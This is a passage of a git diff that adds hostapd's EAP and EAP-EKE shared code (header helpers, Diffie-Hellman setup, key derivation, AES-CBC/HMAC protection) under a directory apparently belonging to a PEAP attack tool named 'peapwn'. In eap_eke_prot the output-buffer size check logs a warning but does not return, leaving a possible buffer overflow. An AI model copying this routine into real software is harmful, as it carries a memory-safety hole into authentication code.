yet known). + */ +void eap_update_len(struct wpabuf *msg) +{ + struct eap_hdr *hdr; + hdr = wpabuf_mhead(msg); + if (wpabuf_len(msg) < sizeof(*hdr)) + return; + hdr->length = host_to_be16(wpabuf_len(msg)); +} + + +/** + * eap_get_id - Get EAP Identifier from wpabuf + * @msg: Buffer starting with an EAP header + * Returns: The Identifier field from the EAP header + */ +u8 eap_get_id(const struct wpabuf *msg) +{ + const struct eap_hdr *eap; + + if (wpabuf_len(msg) < sizeof(*eap)) + return 0; + + eap = wpabuf_head(msg); + return eap->identifier; +} + + +/** + * eap_get_id - Get EAP Type from wpabuf + * @msg: Buffer starting with an EAP header + * Returns: The EAP Type after the EAP header + */ +EapType eap_get_type(const struct wpabuf *msg) +{ + if (wpabuf_len(msg) < sizeof(struct eap_hdr) + 1) + return EAP_TYPE_NONE; + + return ((const u8 *) wpabuf_head(msg))[sizeof(struct eap_hdr)]; +} diff --git a/peapwn/mods/hostap/src/eap_common/eap_common.h b/peapwn/mods/hostap/src/eap_common/eap_common.h new file mode 100644 index 000000000..8850c1fe5 --- /dev/null +++ b/peapwn/mods/hostap/src/eap_common/eap_common.h @@ -0,0 +1,23 @@ +/* + * EAP common peer/server definitions + * Copyright (c) 2004-2012, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef EAP_COMMON_H +#define EAP_COMMON_H + +#include "wpabuf.h" + +int eap_hdr_len_valid(const struct wpabuf *msg, size_t min_payload); +const u8 * eap_hdr_validate(int vendor, EapType eap_type, + const struct wpabuf *msg, size_t *plen); +struct wpabuf * eap_msg_alloc(int vendor, EapType type, size_t payload_len, + u8 code, u8 identifier); +void eap_update_len(struct wpabuf *msg); +u8 eap_get_id(const struct wpabuf *msg); +EapType eap_get_type(const struct wpabuf *msg); + +#endif /* EAP_COMMON_H */ diff --git a/peapwn/mods/hostap/src/eap_common/eap_defs.h b/peapwn/mods/hostap/src/eap_common/eap_defs.h new file mode 100644 index 000000000..f5890bec2 --- /dev/null +++ b/peapwn/mods/hostap/src/eap_common/eap_defs.h @@ -0,0 +1,85 @@ +/* + * EAP server/peer: Shared EAP definitions + * Copyright (c) 2004-2007, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef EAP_DEFS_H +#define EAP_DEFS_H + +/* RFC 3748 - Extensible Authentication Protocol (EAP) */ + +#ifdef _MSC_VER +#pragma pack(push, 1) +#endif /* _MSC_VER */ + +struct eap_hdr { + u8 code; + u8 identifier; + be16 length; /* including code and identifier; network byte order */ + /* followed by length-4 octets of data */ +} STRUCT_PACKED; + +#ifdef _MSC_VER +#pragma pack(pop) +#endif /* _MSC_VER */ + +enum { EAP_CODE_REQUEST = 1, EAP_CODE_RESPONSE = 2, EAP_CODE_SUCCESS = 3, + EAP_CODE_FAILURE = 4 }; + +/* EAP Request and Response data begins with one octet Type. Success and + * Failure do not have additional data. */ + +/* + * EAP Method Types as allocated by IANA: + * http://www.iana.org/assignments/eap-numbers + */ +typedef enum { + EAP_TYPE_NONE = 0, + EAP_TYPE_IDENTITY = 1 /* RFC 3748 */, + EAP_TYPE_NOTIFICATION = 2 /* RFC 3748 */, + EAP_TYPE_NAK = 3 /* Response only, RFC 3748 */, + EAP_TYPE_MD5 = 4, /* RFC 3748 */ + EAP_TYPE_OTP = 5 /* RFC 3748 */, + EAP_TYPE_GTC = 6, /* RFC 3748 */ + EAP_TYPE_TLS = 13 /* RFC 2716 */, + EAP_TYPE_LEAP = 17 /* Cisco proprietary */, + EAP_TYPE_SIM = 18 /* RFC 4186 */, + EAP_TYPE_TTLS = 21 /* RFC 5281 */, + EAP_TYPE_AKA = 23 /* RFC 4187 */, + EAP_TYPE_PEAP = 25 /* draft-josefsson-pppext-eap-tls-eap-06.txt */, + EAP_TYPE_MSCHAPV2 = 26 /* draft-kamath-pppext-eap-mschapv2-00.txt */, + EAP_TYPE_TLV = 33 /* draft-josefsson-pppext-eap-tls-eap-07.txt */, + EAP_TYPE_TNC = 38 /* TNC IF-T v1.0-r3; note: tentative assignment; + * type 38 has previously been allocated for + * EAP-HTTP Digest, (funk.com) */, + EAP_TYPE_FAST = 43 /* RFC 4851 */, + EAP_TYPE_PAX = 46 /* RFC 4746 */, + EAP_TYPE_PSK = 47 /* RFC 4764 */, + EAP_TYPE_SAKE = 48 /* RFC 4763 */, + EAP_TYPE_IKEV2 = 49 /* RFC 5106 */, + EAP_TYPE_AKA_PRIME = 50 /* RFC 5448 */, + EAP_TYPE_GPSK = 51 /* RFC 5433 */, + EAP_TYPE_PWD = 52 /* RFC 5931 */, + EAP_TYPE_EKE = 53 /* RFC 6124 */, + EAP_TYPE_EXPANDED = 254 /* RFC 3748 */ +} EapType; + + +/* SMI Network Management Private Enterprise Code for vendor specific types */ +enum { + EAP_VENDOR_IETF = 0, + EAP_VENDOR_MICROSOFT = 0x000137 /* Microsoft */, + EAP_VENDOR_WFA = 0x00372A /* Wi-Fi Alliance */, + EAP_VENDOR_HOSTAP = 39068 /* hostapd/wpa_supplicant project */ +}; + +#define EAP_VENDOR_UNAUTH_TLS EAP_VENDOR_HOSTAP +#define EAP_VENDOR_TYPE_UNAUTH_TLS 1 + +#define EAP_MSK_LEN 64 +#define EAP_EMSK_LEN 64 + +#endif /* EAP_DEFS_H */ diff --git a/peapwn/mods/hostap/src/eap_common/eap_eke_common.c b/peapwn/mods/hostap/src/eap_common/eap_eke_common.c new file mode 100644 index 000000000..a62ac8e04 --- /dev/null +++ b/peapwn/mods/hostap/src/eap_common/eap_eke_common.c @@ -0,0 +1,768 @@ +/* + * EAP server/peer: EAP-EKE shared routines + * Copyright (c) 2011-2013, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "crypto/aes.h" +#include "crypto/aes_wrap.h" +#include "crypto/crypto.h" +#include "crypto/dh_groups.h" +#include "crypto/random.h" +#include "crypto/sha1.h" +#include "crypto/sha256.h" +#include "eap_common/eap_defs.h" +#include "eap_eke_common.h" + + +static int eap_eke_dh_len(u8 group) +{ + switch (group) { + case EAP_EKE_DHGROUP_EKE_2: + return 128; + case EAP_EKE_DHGROUP_EKE_5: + return 192; + case EAP_EKE_DHGROUP_EKE_14: + return 256; + case EAP_EKE_DHGROUP_EKE_15: + return 384; + case EAP_EKE_DHGROUP_EKE_16: + return 512; + } + + return -1; +} + + +static int eap_eke_dhcomp_len(u8 dhgroup, u8 encr) +{ + int dhlen; + + dhlen = eap_eke_dh_len(dhgroup); + if (dhlen < 0) + return -1; + if (encr != EAP_EKE_ENCR_AES128_CBC) + return -1; + return AES_BLOCK_SIZE + dhlen; +} + + +static const struct dh_group * eap_eke_dh_group(u8 group) +{ + switch (group) { + case EAP_EKE_DHGROUP_EKE_2: + return dh_groups_get(2); + case EAP_EKE_DHGROUP_EKE_5: + return dh_groups_get(5); + case EAP_EKE_DHGROUP_EKE_14: + return dh_groups_get(14); + case EAP_EKE_DHGROUP_EKE_15: + return dh_groups_get(15); + case EAP_EKE_DHGROUP_EKE_16: + return dh_groups_get(16); + } + + return NULL; +} + + +static int eap_eke_dh_generator(u8 group) +{ + switch (group) { + case EAP_EKE_DHGROUP_EKE_2: + return 5; + case EAP_EKE_DHGROUP_EKE_5: + return 31; + case EAP_EKE_DHGROUP_EKE_14: + return 11; + case EAP_EKE_DHGROUP_EKE_15: + return 5; + case EAP_EKE_DHGROUP_EKE_16: + return 5; + } + + return -1; +} + + +static int eap_eke_pnonce_len(u8 mac) +{ + int mac_len; + + if (mac == EAP_EKE_MAC_HMAC_SHA1) + mac_len = SHA1_MAC_LEN; + else if (mac == EAP_EKE_MAC_HMAC_SHA2_256) + mac_len = SHA256_MAC_LEN; + else + return -1; + + return AES_BLOCK_SIZE + 16 + mac_len; +} + + +static int eap_eke_pnonce_ps_len(u8 mac) +{ + int mac_len; + + if (mac == EAP_EKE_MAC_HMAC_SHA1) + mac_len = SHA1_MAC_LEN; + else if (mac == EAP_EKE_MAC_HMAC_SHA2_256) + mac_len = SHA256_MAC_LEN; + else + return -1; + + return AES_BLOCK_SIZE + 2 * 16 + mac_len; +} + + +static int eap_eke_prf_len(u8 prf) +{ + if (prf == EAP_EKE_PRF_HMAC_SHA1) + return 20; + if (prf == EAP_EKE_PRF_HMAC_SHA2_256) + return 32; + return -1; +} + + +static int eap_eke_nonce_len(u8 prf) +{ + int prf_len; + + prf_len = eap_eke_prf_len(prf); + if (prf_len < 0) + return -1; + + if (prf_len > 2 * 16) + return (prf_len + 1) / 2; + + return 16; +} + + +static int eap_eke_auth_len(u8 prf) +{ + switch (prf) { + case EAP_EKE_PRF_HMAC_SHA1: + return SHA1_MAC_LEN; + case EAP_EKE_PRF_HMAC_SHA2_256: + return SHA256_MAC_LEN; + } + + return -1; +} + + +int eap_eke_dh_init(u8 group, u8 *ret_priv, u8 *ret_pub) +{ + int generator; + u8 gen; + const struct dh_group *dh; + size_t pub_len, i; + + generator = eap_eke_dh_generator(group); + if (generator < 0 || generator > 255) + return -1; + gen = generator; + + dh = eap_eke_dh_group(group); + if (dh == NULL) + return -1; + + /* x = random number 2 .. p-1 */ + if (random_get_bytes(ret_priv, dh->prime_len)) + return -1; + if (os_memcmp(ret_priv, dh->prime, dh->prime_len) > 0) { + /* Make sure private value is smaller than prime */ + ret_priv[0] = 0; + } + for (i = 0; i < dh->prime_len - 1; i++) { + if (ret_priv[i]) + break; + } + if (i == dh->prime_len - 1 && (ret_priv[i] == 0 || ret_priv[i] == 1)) + return -1; + wpa_hexdump_key(MSG_DEBUG, "EAP-EKE: DH private value", + ret_priv, dh->prime_len); + + /* y = g ^ x (mod p) */ + pub_len = dh->prime_len; + if (crypto_mod_exp(&gen, 1, ret_priv, dh->prime_len, + dh->prime, dh->prime_len, ret_pub, &pub_len) < 0) + return -1; + if (pub_len < dh->prime_len) { + size_t pad = dh->prime_len - pub_len; + os_memmove(ret_pub + pad, ret_pub, pub_len); + os_memset(ret_pub, 0, pad); + } + + wpa_hexdump(MSG_DEBUG, "EAP-EKE: DH public value", + ret_pub, dh->prime_len); + + return 0; +} + + +static int eap_eke_prf(u8 prf, const u8 *key, size_t key_len, const u8 *data, + size_t data_len, const u8 *data2, size_t data2_len, + u8 *res) +{ + const u8 *addr[2]; + size_t len[2]; + size_t num_elem = 1; + + addr[0] = data; + len[0] = data_len; + if (data2) { + num_elem++; + addr[1] = data2; + len[1] = data2_len; + } + + if (prf == EAP_EKE_PRF_HMAC_SHA1) + return hmac_sha1_vector(key, key_len, num_elem, addr, len, res); + if (prf == EAP_EKE_PRF_HMAC_SHA2_256) + return hmac_sha256_vector(key, key_len, num_elem, addr, len, + res); + return -1; +} + + +static int eap_eke_prf_hmac_sha1(const u8 *key, size_t key_len, const u8 *data, + size_t data_len, u8 *res, size_t len) +{ + u8 hash[SHA1_MAC_LEN]; + u8 idx; + const u8 *addr[3]; + size_t vlen[3]; + int ret; + + idx = 0; + addr[0] = hash; + vlen[0] = SHA1_MAC_LEN; + addr[1] = data; + vlen[1] = data_len; + addr[2] = &idx; + vlen[2] = 1; + + while (len > 0) { + idx++; + if (idx == 1) + ret = hmac_sha1_vector(key, key_len, 2, &addr[1], + &vlen[1], hash); + else + ret = hmac_sha1_vector(key, key_len, 3, addr, vlen, + hash); + if (ret < 0) + return -1; + if (len > SHA1_MAC_LEN) { + os_memcpy(res, hash, SHA1_MAC_LEN); + res += SHA1_MAC_LEN; + len -= SHA1_MAC_LEN; + } else { + os_memcpy(res, hash, len); + len = 0; + } + } + + return 0; +} + + +static int eap_eke_prf_hmac_sha256(const u8 *key, size_t key_len, const u8 *data, + size_t data_len, u8 *res, size_t len) +{ + u8 hash[SHA256_MAC_LEN]; + u8 idx; + const u8 *addr[3]; + size_t vlen[3]; + int ret; + + idx = 0; + addr[0] = hash; + vlen[0] = SHA256_MAC_LEN; + addr[1] = data; + vlen[1] = data_len; + addr[2] = &idx; + vlen[2] = 1; + + while (len > 0) { + idx++; + if (idx == 1) + ret = hmac_sha256_vector(key, key_len, 2, &addr[1], + &vlen[1], hash); + else + ret = hmac_sha256_vector(key, key_len, 3, addr, vlen, + hash); + if (ret < 0) + return -1; + if (len > SHA256_MAC_LEN) { + os_memcpy(res, hash, SHA256_MAC_LEN); + res += SHA256_MAC_LEN; + len -= SHA256_MAC_LEN; + } else { + os_memcpy(res, hash, len); + len = 0; + } + } + + return 0; +} + + +static int eap_eke_prfplus(u8 prf, const u8 *key, size_t key_len, + const u8 *data, size_t data_len, u8 *res, size_t len) +{ + if (prf == EAP_EKE_PRF_HMAC_SHA1) + return eap_eke_prf_hmac_sha1(key, key_len, data, data_len, res, + len); + if (prf == EAP_EKE_PRF_HMAC_SHA2_256) + return eap_eke_prf_hmac_sha256(key, key_len, data, data_len, + res, len); + return -1; +} + + +int eap_eke_derive_key(struct eap_eke_session *sess, + const u8 *password, size_t password_len, + const u8 *id_s, size_t id_s_len, const u8 *id_p, + size_t id_p_len, u8 *key) +{ + u8 zeros[EAP_EKE_MAX_HASH_LEN]; + u8 temp[EAP_EKE_MAX_HASH_LEN]; + size_t key_len = 16; /* Only AES-128-CBC is used here */ + u8 *id; + + /* temp = prf(0+, password) */ + os_memset(zeros, 0, sess->prf_len); + if (eap_eke_prf(sess->prf, zeros, sess->prf_len, + password, password_len, NULL, 0, temp) < 0) + return -1; + wpa_hexdump_key(MSG_DEBUG, "EAP-EKE: temp = prf(0+, password)", + temp, sess->prf_len); + + /* key = prf+(temp, ID_S | ID_P) */ + id = os_malloc(id_s_len + id_p_len); + if (id == NULL) + return -1; + os_memcpy(id, id_s, id_s_len); + os_memcpy(id + id_s_len, id_p, id_p_len); + wpa_hexdump_ascii(MSG_DEBUG, "EAP-EKE: ID_S | ID_P", + id, id_s_len + id_p_len); + if (eap_eke_prfplus(sess->prf, temp, sess->prf_len, + id, id_s_len + id_p_len, key, key_len) < 0) { + os_free(id); + return -1; + } + os_free(id); + wpa_hexdump_key(MSG_DEBUG, "EAP-EKE: key = prf+(temp, ID_S | ID_P)", + key, key_len); + + return 0; +} + + +int eap_eke_dhcomp(struct eap_eke_session *sess, const u8 *key, const u8 *dhpub, + u8 *ret_dhcomp) +{ + u8 pub[EAP_EKE_MAX_DH_LEN]; + int dh_len; + u8 iv[AES_BLOCK_SIZE]; + + dh_len = eap_eke_dh_len(sess->dhgroup); + if (dh_len < 0) + return -1; + + /* + * DHComponent = Encr(key, y) + * + * All defined DH groups use primes that have length devisible by 16, so + * no need to do extra padding for y (= pub). + */ + if (sess->encr != EAP_EKE_ENCR_AES128_CBC) + return -1; + if (random_get_bytes(iv, AES_BLOCK_SIZE)) + return -1; + wpa_hexdump(MSG_DEBUG, "EAP-EKE: IV for Encr(key, y)", + iv, AES_BLOCK_SIZE); + os_memcpy(pub, dhpub, dh_len); + if (aes_128_cbc_encrypt(key, iv, pub, dh_len) < 0) + return -1; + os_memcpy(ret_dhcomp, iv, AES_BLOCK_SIZE); + os_memcpy(ret_dhcomp + AES_BLOCK_SIZE, pub, dh_len); + wpa_hexdump(MSG_DEBUG, "EAP-EKE: DHComponent = Encr(key, y)", + ret_dhcomp, AES_BLOCK_SIZE + dh_len); + + return 0; +} + + +int eap_eke_shared_secret(struct eap_eke_session *sess, const u8 *key, + const u8 *dhpriv, const u8 *peer_dhcomp) +{ + u8 zeros[EAP_EKE_MAX_HASH_LEN]; + u8 peer_pub[EAP_EKE_MAX_DH_LEN]; + u8 modexp[EAP_EKE_MAX_DH_LEN]; + size_t len; + const struct dh_group *dh; + + if (sess->encr != EAP_EKE_ENCR_AES128_CBC) + return -1; + + dh = eap_eke_dh_group(sess->dhgroup); + if (dh == NULL) + return -1; + + /* Decrypt peer DHComponent */ + os_memcpy(peer_pub, peer_dhcomp + AES_BLOCK_SIZE, dh->prime_len); + if (aes_128_cbc_decrypt(key, peer_dhcomp, peer_pub, dh->prime_len) < 0) { + wpa_printf(MSG_INFO, "EAP-EKE: Failed to decrypt DHComponent"); + return -1; + } + wpa_hexdump_key(MSG_DEBUG, "EAP-EKE: Decrypted peer DH pubkey", + peer_pub, dh->prime_len); + + /* SharedSecret = prf(0+, g ^ (x_s * x_p) (mod p)) */ + len = dh->prime_len; + if (crypto_mod_exp(peer_pub, dh->prime_len, dhpriv, dh->prime_len, + dh->prime, dh->prime_len, modexp, &len) < 0) + return -1; + if (len < dh->prime_len) { + size_t pad = dh->prime_len - len; + os_memmove(modexp + pad, modexp, len); + os_memset(modexp, 0, pad); + } + + os_memset(zeros, 0, sess->auth_len); + if (eap_eke_prf(sess->prf, zeros, sess->auth_len, modexp, dh->prime_len, + NULL, 0, sess->shared_secret) < 0) + return -1; + wpa_hexdump_key(MSG_DEBUG, "EAP-EKE: SharedSecret", + sess->shared_secret, sess->auth_len); + + return 0; +} + + +int eap_eke_derive_ke_ki(struct eap_eke_session *sess, + const u8 *id_s, size_t id_s_len, + const u8 *id_p, size_t id_p_len) +{ + u8 buf[EAP_EKE_MAX_KE_LEN + EAP_EKE_MAX_KI_LEN]; + size_t ke_len, ki_len; + u8 *data; + size_t data_len; + const char *label = "EAP-EKE Keys"; + size_t label_len; + + /* + * Ke | Ki = prf+(SharedSecret, "EAP-EKE Keys" | ID_S | ID_P) + * Ke = encryption key + * Ki = integrity protection key + * Length of each key depends on the selected algorithms. + */ + + if (sess->encr == EAP_EKE_ENCR_AES128_CBC) + ke_len = 16; + else + return -1; + + if (sess->mac == EAP_EKE_PRF_HMAC_SHA1) + ki_len = 20; + else if (sess->mac == EAP_EKE_PRF_HMAC_SHA2_256) + ki_len = 32; + else + return -1; + + label_len = os_strlen(label); + data_len = label_len + id_s_len + id_p_len; + data = os_malloc(data_len); + if (data == NULL) + return -1; + os_memcpy(data, label, label_len); + os_memcpy(data + label_len, id_s, id_s_len); + os_memcpy(data + label_len + id_s_len, id_p, id_p_len); + if (eap_eke_prfplus(sess->prf, sess->shared_secret, sess->prf_len, + data, data_len, buf, ke_len + ki_len) < 0) { + os_free(data); + return -1; + } + + os_memcpy(sess->ke, buf, ke_len); + wpa_hexdump_key(MSG_DEBUG, "EAP-EKE: Ke", sess->ke, ke_len); + os_memcpy(sess->ki, buf + ke_len, ki_len); + wpa_hexdump_key(MSG_DEBUG, "EAP-EKE: Ki", sess->ki, ki_len); + + os_free(data); + return 0; +} + + +int eap_eke_derive_ka(struct eap_eke_session *sess, + const u8 *id_s, size_t id_s_len, + const u8 *id_p, size_t id_p_len, + const u8 *nonce_p, const u8 *nonce_s) +{ + u8 *data, *pos; + size_t data_len; + const char *label = "EAP-EKE Ka"; + size_t label_len; + + /* + * Ka = prf+(SharedSecret, "EAP-EKE Ka" | ID_S | ID_P | Nonce_P | + * Nonce_S) + * Ka = authentication key + * Length of the key depends on the selected algorithms. + */ + + label_len = os_strlen(label); + data_len = label_len + id_s_len + id_p_len + 2 * sess->nonce_len; + data = os_malloc(data_len); + if (data == NULL) + return -1; + pos = data; + os_memcpy(pos, label, label_len); + pos += label_len; + os_memcpy(pos, id_s, id_s_len); + pos += id_s_len; + os_memcpy(pos, id_p, id_p_len); + pos += id_p_len; + os_memcpy(pos, nonce_p, sess->nonce_len); + pos += sess->nonce_len; + os_memcpy(pos, nonce_s, sess->nonce_len); + if (eap_eke_prfplus(sess->prf, sess->shared_secret, sess->prf_len, + data, data_len, sess->ka, sess->prf_len) < 0) { + os_free(data); + return -1; + } + os_free(data); + + wpa_hexdump_key(MSG_DEBUG, "EAP-EKE: Ka", sess->ka, sess->prf_len); + + return 0; +} + + +int eap_eke_derive_msk(struct eap_eke_session *sess, + const u8 *id_s, size_t id_s_len, + const u8 *id_p, size_t id_p_len, + const u8 *nonce_p, const u8 *nonce_s, + u8 *msk, u8 *emsk) +{ + u8 *data, *pos; + size_t data_len; + const char *label = "EAP-EKE Exported Keys"; + size_t label_len; + u8 buf[EAP_MSK_LEN + EAP_EMSK_LEN]; + + /* + * MSK | EMSK = prf+(SharedSecret, "EAP-EKE Exported Keys" | ID_S | + * ID_P | Nonce_P | Nonce_S) + */ + + label_len = os_strlen(label); + data_len = label_len + id_s_len + id_p_len + 2 * sess->nonce_len; + data = os_malloc(data_len); + if (data == NULL) + return -1; + pos = data; + os_memcpy(pos, label, label_len); + pos += label_len; + os_memcpy(pos, id_s, id_s_len); + pos += id_s_len; + os_memcpy(pos, id_p, id_p_len); + pos += id_p_len; + os_memcpy(pos, nonce_p, sess->nonce_len); + pos += sess->nonce_len; + os_memcpy(pos, nonce_s, sess->nonce_len); + if (eap_eke_prfplus(sess->prf, sess->shared_secret, sess->prf_len, + data, data_len, buf, EAP_MSK_LEN + EAP_EMSK_LEN) < + 0) { + os_free(data); + return -1; + } + os_free(data); + + os_memcpy(msk, buf, EAP_MSK_LEN); + os_memcpy(emsk, buf + EAP_MSK_LEN, EAP_EMSK_LEN); + os_memset(buf, 0, sizeof(buf)); + + wpa_hexdump_key(MSG_DEBUG, "EAP-EKE: MSK", msk, EAP_MSK_LEN); + wpa_hexdump_key(MSG_DEBUG, "EAP-EKE: EMSK", msk, EAP_EMSK_LEN); + + return 0; +} + + +static int eap_eke_mac(u8 mac, const u8 *key, const u8 *data, size_t data_len, + u8 *res) +{ + if (mac == EAP_EKE_MAC_HMAC_SHA1) + return hmac_sha1(key, SHA1_MAC_LEN, data, data_len, res); + if (mac == EAP_EKE_MAC_HMAC_SHA2_256) + return hmac_sha256(key, SHA256_MAC_LEN, data, data_len, res); + return -1; +} + + +int eap_eke_prot(struct eap_eke_session *sess, + const u8 *data, size_t data_len, + u8 *prot, size_t *prot_len) +{ + size_t block_size, icv_len, pad; + u8 *pos, *iv, *e; + + if (sess->encr == EAP_EKE_ENCR_AES128_CBC) + block_size = AES_BLOCK_SIZE; + else + return -1; + + if (sess->mac == EAP_EKE_PRF_HMAC_SHA1) + icv_len = SHA1_MAC_LEN; + else if (sess->mac == EAP_EKE_PRF_HMAC_SHA2_256) + icv_len = SHA256_MAC_LEN; + else + return -1; + + pad = data_len % block_size; + if (pad) + pad = block_size - pad; + + if (*prot_len < block_size + data_len + pad + icv_len) { + wpa_printf(MSG_INFO, "EAP-EKE: Not enough room for Prot() data"); + } + pos = prot; + + if (random_get_bytes(pos, block_size)) + return -1; + iv = pos; + wpa_hexdump(MSG_DEBUG, "EAP-EKE: IV for Prot()", iv, block_size); + pos += block_size; + + e = pos; + os_memcpy(pos, data, data_len); + pos += data_len; + if (pad) { + if (random_get_bytes(pos, pad)) + return -1; + pos += pad; + } + + if (aes_128_cbc_encrypt(sess->ke, iv, e, data_len + pad) < 0) + return -1; + + if (eap_eke_mac(sess->mac, sess->ki, e, data_len + pad, pos) < 0) + return -1; + pos += icv_len; + + *prot_len = pos - prot; + return 0; +} + + +int eap_eke_decrypt_prot(struct eap_eke_session *sess, + const u8 *prot, size_t prot_len, + u8 *data, size_t *data_len) +{ + size_t block_size, icv_len; + u8 icv[EAP_EKE_MAX_HASH_LEN]; + + if (sess->encr == EAP_EKE_ENCR_AES128_CBC) + block_size = AES_BLOCK_SIZE; + else + return -1; + + if (sess->mac == EAP_EKE_PRF_HMAC_SHA1) + icv_len = SHA1_MAC_LEN; + else if (sess->mac == EAP_EKE_PRF_HMAC_SHA2_256) + icv_len = SHA256_MAC_LEN; + else + return -1; + + if (prot_len < 2 * block_size + icv_len) + return -1; + if ((prot_len - icv_len) % block_size) + return -1; + + if (eap_eke_mac(sess->mac, sess->ki, prot + block_size, + prot_len - block_size - icv_len, icv) < 0) + return -1; + if (os_memcmp(icv, prot + prot_len - icv_len, icv_len) != 0) { + wpa_printf(MSG_INFO, "EAP-EKE: ICV mismatch in Prot() data"); + return -1; + } + + if (*data_len < prot_len - block_size - icv_len) { + wpa_printf(MSG_INFO, "EAP-EKE: Not enough room for decrypted Prot() data"); + return -1; + } + + *data_len = prot_len - block_size - icv_len; + os_memcpy(data, prot + block_size, *data_len); + if (aes_128_cbc_decrypt(sess->ke, prot, data, *data_len) < 0) { + wpa_printf(MSG_INFO, "EAP-EKE: Failed to decrypt Prot() data"); + return -1; + } + wpa_hexdump_key(MSG_DEBUG, "EAP-EKE: Decrypted Prot() data", + data, *data_len); + + return 0; +} + + +int eap_eke_auth(struct eap_eke_session *sess, const char *label, + const struct wpabuf *msgs, u8 *auth) +{ + wpa_printf(MSG_DEBUG, "EAP-EKE: Auth(%s)", label); + wpa_hexdump_key(MSG_DEBUG, "EAP-EKE: Ka for Auth", + sess->ka, sess->auth_len); + wpa_hexdump_buf(MSG_MSGDUMP, "EAP-EKE: Messages for Auth", msgs); + return eap_eke_prf(sess->prf, sess->ka, sess->auth_len, + (const u8 *) label, os_strlen(label), + wpabuf_head(msgs), wpabuf_len(msgs), auth); +} + + +int eap_eke_session_init(struct eap_eke_session *sess, u8 dhgroup, u8 encr, + u8 prf, u8 mac) +{ + sess->dhgroup = dhgroup; + sess->encr = encr; + sess->prf = prf; + sess->mac = mac; + + sess->prf_len = eap_eke_prf_len(prf); + if (sess->prf_len < 0) + return -1; + sess->nonce_len = eap_eke_nonce_len(prf); + if (sess->nonce_len < 0) + return -1; + sess->auth_len = eap_eke_auth_len(prf); + if (sess->auth_len < 0) + return -1; + sess->dhcomp_len = eap_eke_dhcomp_len(sess->dhgroup, sess->encr); + if (sess->dhcomp_len < 0) + return -1; + sess->pnonce_len = eap_eke_pnonce_len(sess->mac); + if (sess->pnonce_len < 0) + return -1; + sess->pnonce_ps_len = eap_eke_pnonce_ps_len(sess->mac); + if (sess->pnonce_ps_len < 0) + return -1; + + return 0; +} + + +void eap_eke_session_clean(struct eap_eke_session *sess) +{ + os_memset(sess->shared_secret, 0, EAP_EKE_MAX_HASH_LEN); + os_memset(sess->ke, 0, EAP_EKE_MAX_KE_LEN); + os_memset(sess->ki, 0, EAP_EKE_MAX_KI_LEN); + os_memset(sess->ka, 0, EAP_EKE_MAX_KA_LEN); +} diff --git a/peapwn/mods/hostap/src/eap_common/eap_eke_common.h b/peapwn/mods/hostap/src/eap_common/eap_eke_common.h new file mode 100644 index 000000000..a4c042225 --- /dev/null +++ b/peapwn/mods/hostap/src/eap_common/eap_eke_common.h @@ -0,0 +1,114 @@ +/* + * EAP server/peer: EAP-EKE shared routines + * Copyright (c) 2011-2013, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef EAP_EKE_COMMON_H +#define EAP_EKE_COMMON_H + +/* EKE Exchange */ +#define EAP_EKE_ID 1 +#define EAP_EKE_COMMIT 2 +#define EAP_EKE_CONFIRM 3 +#define EAP_EKE_FAILURE 4 + +/* Diffie-Hellman Group Registry */ +#define EAP_EKE_DHGROUP_EKE_2 1 +#define EAP_EKE_DHGROUP_EKE_5 2 +#define EAP_EKE_DHGROUP_EKE_14 3 /* mandatory to implement */ +#define EAP_EKE_DHGROUP_EKE_15 4 +#define EAP_EKE_DHGROUP_EKE_16 5 + +/* Encryption Algorithm Registry */ +#define EAP_EKE_ENCR_AES128_CBC 1 /* mandatory to implement */ + +/* Pseudo Random Function Registry */ +#define EAP_EKE_PRF_HMAC_SHA1 1 /* mandatory to implement */ +#define EAP_EKE_PRF_HMAC_SHA2_256 2 + +/* Keyed Message Digest (MAC) Registry */ +#define EAP_EKE_MAC_HMAC_SHA1 1 /* mandatory to implement */ +#define EAP_EKE_MAC_HMAC_SHA2_256 2 + +/* Identity Type Registry */ +#define EAP_EKE_ID_OPAQUE 1 +#define EAP_EKE_ID_NAI 2 +#define EAP_EKE_ID_IPv4 3 +#define EAP_EKE_ID_IPv6 4 +#define EAP_EKE_ID_FQDN 5 +#define EAP_EKE_ID_DN 6 + +/* Failure-Code */ +#define EAP_EKE_FAIL_NO_ERROR 1 +#define EAP_EKE_FAIL_PROTO_ERROR 2 +#define EAP_EKE_FAIL_PASSWD_NOT_FOUND 3 +#define EAP_EKE_FAIL_AUTHENTICATION_FAIL 4 +#define EAP_EKE_FAIL_AUTHORIZATION_FAIL 5 +#define EAP_EKE_FAIL_NO_PROPOSAL_CHOSEN 6 +#define EAP_EKE_FAIL_PRIVATE_INTERNAL_ERROR 0xffffffff + +#define EAP_EKE_MAX_DH_LEN 512 +#define EAP_EKE_MAX_HASH_LEN 32 +#define EAP_EKE_MAX_KEY_LEN 16 +#define EAP_EKE_MAX_KE_LEN 16 +#define EAP_EKE_MAX_KI_LEN 32 +#define EAP_EKE_MAX_KA_LEN 32 +#define EAP_EKE_MAX_NONCE_LEN 16 + +struct eap_eke_session { + /* Selected proposal */ + u8 dhgroup; + u8 encr; + u8 prf; + u8 mac; + + u8 shared_secret[EAP_EKE_MAX_HASH_LEN]; + u8 ke[EAP_EKE_MAX_KE_LEN]; + u8 ki[EAP_EKE_MAX_KI_LEN]; + u8 ka[EAP_EKE_MAX_KA_LEN]; + + int prf_len; + int nonce_len; + int auth_len; + int dhcomp_len; + int pnonce_len; + int pnonce_ps_len; +}; + +int eap_eke_session_init(struct eap_eke_session *sess, u8 dhgroup, u8 encr, + u8 prf, u8 mac); +void eap_eke_session_clean(struct eap_eke_session *sess); +int eap_eke_dh_init(u8 group, u8 *ret_priv, u8 *ret_pub); +int eap_eke_derive_key(struct eap_eke_session *sess, + const u8 *password, size_t password_len, + const u8 *id_s, size_t id_s_len, const u8 *id_p, + size_t id_p_len, u8 *key); +int eap_eke_dhcomp(struct eap_eke_session *sess, const u8 *key, const u8 *dhpub, + u8 *ret_dhcomp); +int eap_eke_shared_secret(struct eap_eke_session *sess, const u8 *key, + const u8 *dhpriv, const u8 *peer_dhcomp); +int eap_eke_derive_ke_ki(struct eap_eke_session *sess, + const u8 *id_s, size_t id_s_len, + const u8 *id_p, size_t id_p_len); +int eap_eke_derive_ka(struct 